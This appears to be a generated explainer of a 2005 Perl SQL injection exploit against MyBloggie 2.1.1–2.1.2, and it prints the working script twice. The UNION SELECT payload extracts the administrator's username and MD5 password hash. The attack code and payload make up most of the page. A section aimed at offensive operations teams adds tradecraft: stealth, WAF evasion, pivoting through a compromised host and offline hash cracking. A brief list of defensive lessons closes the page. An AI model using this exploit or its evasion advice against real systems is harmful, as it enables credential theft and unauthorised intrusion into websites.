MyBloggie 2.1.1 < 2.1.2 SQL Injection Exploit Explained

MyBloggie 2.1.1 < 2.1.2 SQL Injection Exploit Explained
What this paper is
This paper details a SQL injection vulnerability in MyBloggie versions 2.1.1 and 2.1.2. The exploit, written in Perl, leverages this vulnerability to extract the administrator's username and their MD5-hashed password from the blog's database.
Simple technical breakdown
The vulnerability lies in how MyBloggie handles user input for displaying blog entries based on dates. Specifically, the index.php script doesn't properly sanitize the month_no, year, and date_no parameters.
The exploit crafts a malicious URL that injects SQL code. This injected code uses a UNION SELECT statement to append data from the blog_user table (containing username and password) to the legitimate query's results. The script then parses the returned HTML to display the extracted credentials.
Complete code and payload walkthrough
The provided Perl script uses the LWP::Simple module to fetch web pages.
#!/usr/bin/perl -w
#
# SQL Injection Exploit for myBloggie 2.1.1 - 2.1.2
# This exploit show the username of the administrator of the blog and his password crypted in MD5
# Related advisories: (Italian) http://www.codebug.org/index.php?subaction=showfull&id=1115310052&archive=&start_from=&ucat=6&
# (English) http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt
# Patch: http://mywebland.com/forums/viewtopic.php?t=180
# Coded by Alberto Trivero and Discovered with CorryL
use LWP::Simple; # Imports the library for making HTTP requests.
print "\n\t=======================================\n";
print "\t= Exploit for myBloggie 2.1.1 - 2.1.2 =\n";
print "\t= Alberto Trivero - codebug.org =\n";
print "\t=======================================\n\n"; # Prints a header to the console.
# Input validation block
if(!$ARGV[0] or !($ARGV[0]=~/http/) or !$ARGV[1] or ($ARGV[1] ne '2.1.1' and $ARGV[1] ne '2.1.2')) {
print "Usage:\nperl $0 [full_target_path] [version: 2.1.1 OR 2.1.2]\n\nExample:\nperl $0 http://www.example.com/mybloggie/ 2.1.1\n";
exit(0);
}
# This block checks if the correct command-line arguments are provided.
# $ARGV[0] should be the target URL (starting with 'http').
# $ARGV[1] should be either '2.1.1' or '2.1.2'.
# If arguments are missing or invalid, it prints usage instructions and exits.
$url=q[index.php?month_no=1&year=1&mode=viewdate&date_no=1%20UNION%20SELECT%20null,null,null,null,user,password,null,null,null,null%20FROM%20blog_user/*];
# This is the core of the exploit. It constructs the malicious URL query string.
# - index.php: The target script.
# - month_no=1&year=1&mode=viewdate&date_no=1: Legitimate parameters that would normally fetch a date.
# - %20UNION%20SELECT%20null,null,null,null,user,password,null,null,null,null%20FROM%20blog_user/*: This is the injected SQL.
# - UNION SELECT: Combines the result of the original query with the result of a new query.
# - null,null,null,null,user,password,null,null,null,null: These are placeholders for the columns. The exploit assumes the `blog_user` table has at least 10 columns and that the 5th and 6th columns in the original query's result set correspond to the `user` and `password` columns in the `blog_user` table.
# - FROM blog_user: Specifies the table to retrieve data from.
# - /*: This is a comment in SQL, used to terminate any remaining part of the original query, ensuring only the injected query is executed.
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
# This line makes an HTTP GET request to the constructed URL ($ARGV[0] is the base URL, $url is the appended query).
# The response content is stored in the $page variable.
# If the request fails, it prints an error and exits.
print "[+] Connected to: $ARGV[0]\n";
# Informs the user that the connection to the target was attempted.
# Conditional parsing based on version
if($ARGV[1] eq '2.1.1') {
$page=~m/<tr><td colspan="3" class="subject">(.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
}
else {
$page=~m/<img src="templates\/aura\/images\/permalink.gif" border="0" title="Permalink"><\/a> (.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
}
# This block parses the HTML response to extract the username.
# The regular expression used depends on the MyBloggie version.
# - For 2.1.1: It looks for a table row (`<tr>`) with a `colspan="3"` and a `class="subject"`. The content within this cell is captured as the username ($1).
# - For 2.1.2: It looks for a table row containing an image with `src="templates/aura/images/permalink.gif"` and a `title="Permalink"`. The text following this image tag within the table cell is captured as the username ($1).
# If the pattern is not found, it prints an error message.
$page=~m/<tr><td colspan="3" class="message">(.*?)<\/td><\/tr>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
# This line parses the HTML response to extract the MD5 hash of the password.
# It looks for a table row (`<tr>`) with a `colspan="3"` and a `class="message"`. The content within this cell is captured as the password hash ($1).
# If the pattern is not found, it prints an error message.
# milw0rm.com [2005-05-31]
# This comment indicates the source and publication date of the exploit.
Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/perl -w: Shebang line, specifies the interpreter and enables warnings.use LWP::Simple;: Imports the Perl module for making HTTP requests.print ...;: Displays output to the console (header, usage, results).if(!$ARGV[0] ... exit(0);: Command-line argument validation.$url=q[index.php?...];: Defines the malicious URL query string.$page=get($ARGV[0].$url) || die ...;: Executes the HTTP request and stores the response.if($ARGV[1] eq '2.1.1') { ... } else { ... }: Conditional logic for parsing based on version.$page=~m/.../ && print ...;: Regular expression matching to extract data from the HTML response.print "[-] Unable to retrieve ...\n" if(!$1);: Error handling if data extraction fails.
Payload/Shellcode Segment Explanation:
There is no traditional shellcode or binary payload in this exploit. The "payload" is the crafted SQL query embedded within the URL.
- SQL Injection Payload:
index.php?month_no=1&year=1&mode=viewdate&date_no=1%20UNION%20SELECT%20null,null,null,null,user,password,null,null,null,null%20FROM%20blog_user/*- Purpose: To trick the web application into executing a database query that returns the administrator's username and MD5-hashed password.
- Mechanism:
UNION SELECT: This SQL command is used to combine the results of two or moreSELECTstatements.null,null,null,null,user,password,null,null,null,null: The exploit assumes theblog_usertable has at least 10 columns. It injectsnullvalues for most columns and specifically requestsuserandpasswordfrom theblog_usertable. The position ofuserandpasswordin this list (5th and 6th) is critical and depends on the original query's structure and the number of columns it would normally return.FROM blog_user: Specifies that the data should be retrieved from theblog_usertable./*: This is a SQL comment. It's appended to effectively terminate any remaining part of the original, legitimate SQL query, preventing syntax errors and ensuring only the injectedUNION SELECTstatement is executed.
The script then parses the HTML response from the server, which will contain the results of the modified query, to extract the username and password hash.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server. No local access or authentication is required for this specific exploit.
- Lab Preconditions:
- A vulnerable MyBloggie installation (versions 2.1.1 or 2.1.2) set up in a controlled lab environment.
- A web server (e.g., Apache, Nginx) running PHP and a compatible database (likely MySQL) configured to serve the vulnerable application.
- The target URL must be accessible over HTTP/HTTPS.
- Tooling Assumptions:
- Perl interpreter installed on the operator's machine.
LWP::SimplePerl module installed (usually bundled with Perl).- A web browser for initial reconnaissance and verification.
- Execution Pitfalls:
- Incorrect URL Path: The
[full_target_path]must be the correct base directory of the MyBloggie installation (e.g.,http://target.com/mybloggie/). A wrong path will lead to a 404 error or incorrect parsing. - Version Mismatch: Providing the wrong version number (
2.1.1vs.2.1.2) will cause the script to use the incorrect HTML parsing regex, leading to failure in extracting credentials. - Database Schema Variations: While unlikely for a specific version, if the
blog_usertable structure or column names (user,password) have been altered from the default, theUNION SELECTstatement might fail or return incorrect data. The number ofnulls must also match the expected column count. - Web Application Firewall (WAF) / Intrusion Detection/Prevention Systems (IDS/IPS): Modern WAFs are likely to detect the SQL injection pattern in the URL. The
%20UNION%20SELECTsequence is a common indicator. - Output Encoding/Filtering: The web application might encode or filter the output, making the extracted username and password hash unreadable in the HTML.
- Network Connectivity Issues: Standard network problems can prevent the script from reaching the target.
- Incorrect URL Path: The
- Tradecraft Considerations:
- Reconnaissance: Before running the exploit, confirm the target is running MyBloggie and attempt to identify the version through banner grabbing, analyzing HTML comments, or looking for version-specific files.
- Stealth: Direct execution of this script can be noisy. For more stealthy operations, consider:
- Using a custom script that mimics browser requests more closely.
- Obfuscating the SQL injection payload if possible (though
%20UNION%20SELECTis quite standard). - Running the exploit from a compromised host within the target network if direct internet access is monitored.
- Post-Exploitation: The extracted MD5 hash needs to be cracked offline. Tools like Hashcat or John the Ripper can be used. The username is directly usable for login attempts.
- Error Handling: The script's error handling is basic. Operators should be prepared to debug issues by examining HTTP responses manually.
Where this was used and when
- Context: This exploit targets a specific vulnerability in MyBloggie, a web-based blogging platform. It would have been used against websites running these vulnerable versions of MyBloggie.
- When: The exploit was published on May 31, 2005. Therefore, its active use would have been around this period and shortly thereafter, before users patched their installations. It's unlikely to be effective against modern, updated systems.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most crucial lesson. All user-supplied input, especially when used in database queries, must be rigorously validated and sanitized to prevent injection attacks. Use parameterized queries or prepared statements provided by the database driver.
- Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns like SQL injection. Keep WAF rules updated.
- Regular Patching and Updates: Keep all web applications, frameworks, and server software up-to-date with the latest security patches. MyBloggie versions 2.1.1 and 2.1.2 are extremely old and have known vulnerabilities.
- Principle of Least Privilege: Ensure the web application's database user has only the necessary permissions. Avoid granting broad
SELECTaccess to sensitive tables like user credentials if not strictly required for the application's core functionality. - Secure Coding Practices: Train developers on secure coding principles, including awareness of common vulnerabilities like SQL injection, cross-site scripting (XSS), etc.
- Error Message Obfuscation: Avoid revealing detailed error messages from the database or application server to the client, as these can provide attackers with valuable information.
ASCII visual (if applicable)
This exploit doesn't involve complex network architecture or process flows that would significantly benefit from an ASCII diagram. The interaction is primarily a direct request-response between the attacker's script and the vulnerable web server.
+-----------------+ +---------------------+ +-------------------+
| Attacker Script | ----> | Vulnerable Web App | ----> | Database Server |
| (Perl Exploit) | | (MyBloggie 2.1.x) | | (e.g., MySQL) |
+-----------------+ +---------------------+ +-------------------+
| | |
| 1. Sends crafted URL | |
| with SQL injection | |
| | |
| | 2. Executes modified |
| | SQL query |
| | |
| | | 3. Returns results
| | | (username, hash)
| | |
| <-----------------------------|-----------------------|
| |
| 4. Receives HTML response |
| containing credentials |
| |
| 5. Parses HTML and displays |
| extracted info |
| |
+-------------------------------+Source references
- Exploit-DB Paper: MyBloggie 2.1.1 < 2.1.2 - SQL Injection (PAPER ID: 1023)
- URL: https://www.exploit-db.com/papers/1023
- Original Author: Alberto Trivero
- Publication Date: 2005-05-31
- Related Advisories:
- Patch Information: http://mywebland.com/forums/viewtopic.php?t=180
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
#
# SQL Injection Exploit for myBloggie 2.1.1 - 2.1.2
# This exploit show the username of the administrator of the blog and his password crypted in MD5
# Related advisories: (Italian) http://www.codebug.org/index.php?subaction=showfull&id=1115310052&archive=&start_from=&ucat=6&
# (English) http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt
# Patch: http://mywebland.com/forums/viewtopic.php?t=180
# Coded by Alberto Trivero and Discovered with CorryL
use LWP::Simple;
print "\n\t=======================================\n";
print "\t= Exploit for myBloggie 2.1.1 - 2.1.2 =\n";
print "\t= Alberto Trivero - codebug.org =\n";
print "\t=======================================\n\n";
if(!$ARGV[0] or !($ARGV[0]=~/http/) or !$ARGV[1] or ($ARGV[1] ne '2.1.1' and $ARGV[1] ne '2.1.2')) {
print "Usage:\nperl $0 [full_target_path] [version: 2.1.1 OR 2.1.2]\n\nExample:\nperl $0 http://www.example.com/mybloggie/ 2.1.1\n";
exit(0);
}
$url=q[index.php?month_no=1&year=1&mode=viewdate&date_no=1%20UNION%20SELECT%20null,null,null,null,user,password,null,null,null,null%20FROM%20blog_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
if($ARGV[1] eq '2.1.1') {
$page=~m/<tr><td colspan="3" class="subject">(.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
}
else {
$page=~m/<img src="templates\/aura\/images\/permalink.gif" border="0" title="Permalink"><\/a> (.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
}
$page=~m/<tr><td colspan="3" class="message">(.*?)<\/td><\/tr>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
# milw0rm.com [2005-05-31]